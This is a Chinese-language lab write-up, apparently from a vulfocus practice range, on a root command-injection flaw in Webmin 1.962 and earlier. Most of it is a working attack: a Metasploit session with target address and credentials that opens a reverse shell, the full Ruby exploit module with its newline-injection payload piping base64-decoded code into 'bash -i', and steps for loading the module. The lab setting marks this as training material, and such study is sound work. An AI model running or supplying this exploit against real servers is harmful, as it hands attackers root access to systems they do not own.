Webmin 是一个基于 Web 的 Unix 系统管理界面。使用任何现代网络浏览器，您可以设置用户帐户、Apache、DNS、文件共享等等。在 Webmin 到 1.962 中可以执行任意命令。任何获得包更新模块授权的用户都可以通过涉及 %0A 和 %0C 的向量以 root 权限执行任意命令。 root/passwd
vulfocus
脚本有问题，直接msf。
msf6 > search webmin
1 exploit/linux/local/webmin_pu_escape_bypass_rce
msf6 > use exploit/linux/local/webmin_pu_escape_bypass_rce
msf6 exploit(linux/local/webmin_pu_escape_bypass_rce) > info
Name: Webmin 1.962 - PU Escape Bypass - Remote Command Execution
Module: exploit/linux/local/webmin_pu_escape_bypass_rce
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-12-21
Provided by:
AkkuS <Özkan Mustafa Akkuş>
Available targets:
Id Name
-- ----
0 Webmin <= 1.962
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD passwd yes Webmin Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 123.58.236.76 yes The target host(s), see <https://github.com/rapid7/metasploit-framework/wiki/Using-Metas>
ploit
RPORT 10371 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path for Webmin application
USERNAME root yes Webmin Username
VHOST no HTTP server virtual host
Payload information:
Space: 512
Description:
This module exploits an arbitrary command execution vulnerability in
Webmin 1.962 and lower versions. Any user authorized to the "Package
Updates" module can execute arbitrary commands with root privileges.
It emerged by circumventing the measure taken for CVE-2019-12840.
s/\(-)|\(.)/string/g; escape is not enough for prevention.
Therefore, since the package name variable is placed directly in the
system command, we can manipulate it using some escape characters
that HTTP supports. For example, we can escape control by dropping
the command line down one line. We can do this with "%0A" and "%0C"
urlencoded row values.Also, for paylad to work correctly, we must
add double an ampersand(&&) to the end of the payload (%26%26)
References:
<https://nvd.nist.gov/vuln/detail/CVE-2020->
<https://www.pentest.com.tr/exploits/Webmin-1962-PU-Escape-Bypass-Remote-Command-Execution.html>
msf6 exploit(linux/local/webmin_pu_escape_bypass_rce) > check
[*] NICE! root has the right to >>Package Update<<
[+] 123.58.236.76:10371 - The target is vulnerable.
msf6 exploit(linux/local/webmin_pu_escape_bypass_rce) > run
[-] Handler failed to bind to 1.116.2.18:9999:- -
[*] Started reverse TCP handler on 0.0.0.0:9999
[+] Session cookie: 5eca398f0154352c2e7c77dceda7f9ac
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (172.17.0.17:9999 -> 123.58.236.75:48510 ) at 2022-04-26 11:01:06 +0800
msf模块导入
##
##
# This module requires Metasploit: <https://metasploit.com/download>
# Current source: <https://github.com/rapid7/metasploit-framework>
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.962 - PU Escape Bypass - Remote Command Execution',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.962 and lower versions. Any user authorized to the "Package Updates"
module can execute arbitrary commands with root privileges.
It emerged by circumventing the measure taken for CVE-2019-12840.
s/\\(-)|\\(.)/string/g; escape is not enough for prevention.
Therefore, since the package name variable is placed directly in the system command,
we can manipulate it using some escape characters that HTTP supports.
For example, we can escape control by dropping the command line down one line.
We can do this with "%0A" and "%0C" urlencoded row values.Also, for paylad to work correctly,
we must add double an ampersand(&&) to the end of the payload (%26%26)
),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2020-'],
['URL', '<https://www.pentest.com.tr/exploits/Webmin-1962-PU-Escape-Bypass-Remote-Command-Execution.html>']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_perl'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.962', {}]],
'DisclosureDate' => '2020-12-21',
'DefaultTarget' => 0)
)
register_options [
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']),
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'session_login.cgi'),
'cookie' => 'testing=1', # it must be used for "Error - No cookies"
'vars_post' => {
'page' => '',
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
return $1
end
return nil unless res
''
end
def check
cookie = login
return CheckCode::Detected if cookie == ''
return CheckCode::Unknown if cookie.nil?
vprint_status('Attempting to execute...')
# check version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "sysinfo.cgi"),
'cookie' => "sid=#{cookie}",
'vars_get' => { "xnavigation" => "1" }
})
if res && res.code == 302 && res.body
version = res.body.split("Webmin 1.")[1]
return CheckCode::Detected if version.nil?
version = version.split(" ")[0]
if version <= "962"
# check package update priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "package-updates/"),
'cookie' => "sid=#{cookie}"
})
if res && res.code == 200 && res.body =~ /Software Package Update/
print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")
return CheckCode::Vulnerable
end
end
end
print_error("#{datastore['USERNAME']} doesn't have the right to >>Package Update<<")
print_status("Please try with another user account!")
CheckCode::Safe
end
def exploit
cookie = login
if cookie == '' || cookie.nil?
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
end
print_good("Session cookie: #{cookie}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
'headers' => { 'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1" },
'cookie' => "sid=#{cookie}"
)
unless res && res.code == 200
fail_with(Failure::Unknown, 'Request failed')
end
print_status("Attempting to execute the payload...")
run_update(cookie)
end
def run_update(cookie)
@b64p = Rex::Text.encode_base64(payload.encoded)
perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
payload = Rex::Text.uri_encode(perl_payload)
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "sid=#{cookie}",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),
'headers' =>
{
'Referer' => "#{peer}/package-updates/?xnavigation=1"
},
# new vector // bypass to backslash %0A%7C{}%26%26
'data' => "redir=%2E%2E%2Fsquid%2F&redirdesc=Squid%20Proxy%20Server&mode=new&u=squid34%0A%7C#{payload}%26%26"
# for CVE-2019-12840 #'data' => "u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages"
})
end
end
msf centos安装路径
/opt/metasploit-framework/embedded/framework/modules/exploits/linux/local
将脚本命名为webmin_pu_escape_bypass_rce.rb，只能用下划线，不然会报错。
加载脚本
启动msf，使用reload_all命令
参考
https://www.pentest.com.tr/exploits/Webmin-1962-PU-Escape-Bypass-Remote-Command-Execution.html